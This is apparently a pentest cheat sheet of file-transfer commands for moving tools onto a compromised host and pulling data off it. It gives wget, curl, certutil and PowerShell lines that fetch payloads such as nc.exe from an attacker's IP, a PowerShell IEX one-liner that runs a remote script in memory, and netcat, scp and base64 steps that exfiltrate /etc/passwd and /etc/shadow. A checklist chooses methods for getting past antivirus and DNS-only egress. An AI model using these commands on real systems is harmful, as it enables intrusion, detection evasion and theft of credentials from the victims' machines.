Attacker → Victim (Push / Serve)
Python3 HTTP server (fastest setup)
cd /path/to/files && python3 -m http.server 8080
impacket SMB server (Windows targets without curl/wget)
impacket-smbserver share $(pwd) -smb2support -user admin -password admin
Start FTP server
python3 -m pyftpdlib -p 21 -w
Victim → Download
Linux: wget
wget http://<YOUR-IP>:8080/file.sh -O /tmp/file.sh
Linux: curl
curl http://<YOUR-IP>:8080/file.sh -o /tmp/file.sh
Windows: certutil (always available)
certutil -urlcache -split -f http://<YOUR-IP>:8080/nc.exe C:\Windows\Temp\nc.exe
Windows: PowerShell wget
(New-Object System.Net.WebClient).DownloadFile("http://<YOUR-IP>:8080/file.exe","C:\Temp\file.exe")Windows: PowerShell IEX (execute in memory · no disk write)
IEX(New-Object Net.WebClient).DownloadString("http://<YOUR-IP>:8080/script.ps1")Windows: SMB copy
copy \\<YOUR-IP>\share\nc.exe C:\Temp\nc.exe
Victim → Attacker (Exfil)
Netcat file exfil
Attacker listen:
nc -lvnp 9001 > received_file
Victim send:
nc <YOUR-IP> 9001 < /etc/passwd
SCP (if SSH available)
scp user@<TARGET-IP>:/etc/shadow ~/loot/shadow
Base64 encode and paste (no tools needed)
Victim:
base64 /etc/shadow | tr -d '\n'
Attacker: paste and decode:
echo "BASE64STRING" | base64 -d > shadow
Transfer Checklist
| Scenario | Best Method |
|---|---|
| Linux target, HTTP works | wget or curl from Python server |
| Windows target, no restrictions | PowerShell DownloadFile or certutil |
| Windows target, AV present | SMB server + copy command |
| No outbound except DNS | DNS exfil (dnscat2) |
| Just need to see file content | base64 encode → copy/paste |
| Need to run without touching disk | PowerShell IEX (in-memory) |